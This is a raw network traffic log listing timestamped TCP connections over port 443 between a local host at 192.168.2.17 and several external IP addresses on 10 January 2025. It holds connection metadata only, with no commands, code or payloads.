Jan 10, 2025 20:49:33.638906956 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.638931990 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.638945103 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.641743898 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.679337978 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.689692020 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.689729929 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.689738989 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.689774990 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.689779997 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.689785957 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.689802885 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.689851046 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.726181030 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.726205111 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.726274967 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.726380110 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.726408005 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.729592085 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.729609013 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.729710102 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.729726076 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.729758978 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.729861021 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.729878902 CET	443	49720	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.729903936 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.729927063 CET	49720	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.730276108 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.730300903 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.730323076 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.730366945 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.730403900 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.730504036 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.730573893 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.730587006 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.730606079 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.730698109 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.732882023 CET	49718	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.732903004 CET	443	49718	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.735158920 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.735205889 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.735275030 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.736025095 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.736037970 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.825819969 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.825839043 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.826055050 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.826064110 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.826109886 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.826157093 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.826189995 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.826189995 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.826189995 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.826226950 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.826343060 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.827784061 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.827847958 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.827857018 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.827876091 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.827934980 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.828092098 CET	49721	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.828108072 CET	443	49721	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.831990957 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.832016945 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.832072973 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.832393885 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.832407951 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.838577032 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:33.838592052 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:33.838654995 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:33.839082003 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:33.839091063 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:33.874100924 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.874125004 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.874192953 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.874290943 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.874290943 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.875004053 CET	49725	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.875020981 CET	443	49725	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.880815029 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.880846977 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.880856037 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.880887985 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.880918026 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.880947113 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:33.880963087 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:33.928756952 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.006228924 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006242990 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006278992 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006375074 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.006419897 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.006752968 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006761074 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006778002 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006804943 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006810904 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.006829977 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.006841898 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006876945 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.006900072 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.006939888 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.007288933 CET	49724	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.007308960 CET	443	49724	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.018022060 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.018057108 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.018152952 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.018402100 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.018412113 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.018940926 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.018976927 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:34.019047976 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.019172907 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.019181967 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:34.023462057 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.023499012 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.023575068 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.023603916 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.072757959 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.148622036 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.148641109 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.148789883 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.149585962 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.149595976 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.149657011 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.150001049 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.150053024 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.150784016 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.150840044 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.150856018 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.150872946 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.150897026 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.150938034 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.151040077 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.151057005 CET	443	49726	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.151068926 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.151092052 CET	49726	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.332252026 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.332580090 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.332602978 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.333733082 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.334110975 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.334252119 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.334291935 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.376782894 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.453577995 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.453866959 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.453896046 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.454272985 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.454592943 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.454674959 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.454730988 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.495347023 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.563903093 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.564253092 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.564270020 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.564654112 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.564976931 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.565040112 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.565107107 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.569113016 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.569324970 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.569338083 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.570647955 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.570755005 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.571793079 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.571866035 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.571935892 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.571947098 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.607353926 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.614765882 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.668114901 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.668579102 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.668598890 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.669642925 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.669735909 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.670026064 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.670115948 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.670173883 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.670181990 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.714540005 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.714598894 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.714677095 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.714693069 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.714756966 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.714806080 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.715234041 CET	49727	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.715245962 CET	443	49727	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.723733902 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.759529114 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:34.759829044 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.759917974 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:34.761020899 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:34.761105061 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.762058973 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.762176037 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:34.762208939 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.801757097 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.801810026 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:34.834702969 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.834791899 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.834846020 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.840789080 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.840874910 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.840945005 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.840966940 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.845407009 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.845474958 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.845488071 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.845515966 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.845530033 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.845557928 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.845763922 CET	49728	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.845773935 CET	443	49728	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.849749088 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:34.850995064 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.851037979 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.851114988 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.851377010 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.851389885 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.881746054 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.881753922 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.922079086 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.922090054 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.922106028 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.922111988 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.922118902 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.922161102 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.922173023 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.922199965 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.922219038 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.942605972 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.942651033 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.942677975 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.942708015 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.942713976 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.942738056 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.942755938 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.943356037 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.943401098 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.943406105 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.948687077 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.948740005 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.948746920 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.952852011 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.952866077 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.952884912 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.952918053 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.952919006 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.952944994 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.952958107 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.952980042 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.953150034 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.953181982 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.953228951 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:34.953248978 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:34.955529928 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.955580950 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.955589056 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.961852074 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.961899996 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:34.961906910 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:34.985414028 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.985434055 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.985465050 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.985486984 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:34.985498905 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:34.985515118 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.007729053 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.007750988 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:35.022764921 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.022784948 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.022850990 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.022861004 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.022902966 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.027223110 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.027276993 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.032958031 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:35.033174038 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:35.033226967 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:35.033433914 CET	49734	443	192.168.2.17	142.250.185.100
Jan 10, 2025 20:49:35.033447981 CET	443	49734	142.250.185.100	192.168.2.17
Jan 10, 2025 20:49:35.045917034 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.045960903 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.046040058 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.046281099 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.046293020 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.047184944 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.047224998 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.047259092 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.047281981 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.047300100 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.071305990 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.071335077 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.071360111 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.071371078 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.071393013 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.079185963 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.079205990 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.079252958 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.079555988 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.079565048 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.079601049 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.081245899 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.081255913 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.081304073 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.082010984 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.082070112 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.082086086 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.082117081 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.082124949 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.082156897 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.082321882 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.082339048 CET	443	49731	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.082372904 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.082531929 CET	49731	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.111788988 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.111810923 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.111852884 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.111861944 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.111887932 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.112494946 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.112509966 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.112555981 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.112564087 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.112611055 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.113001108 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.113045931 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.122597933 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.122637987 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.122668028 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.122687101 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.122711897 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.124334097 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.133404016 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.133419037 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.133466005 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.133487940 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.133532047 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.134625912 CET	443	49732	157.240.251.9	192.168.2.17
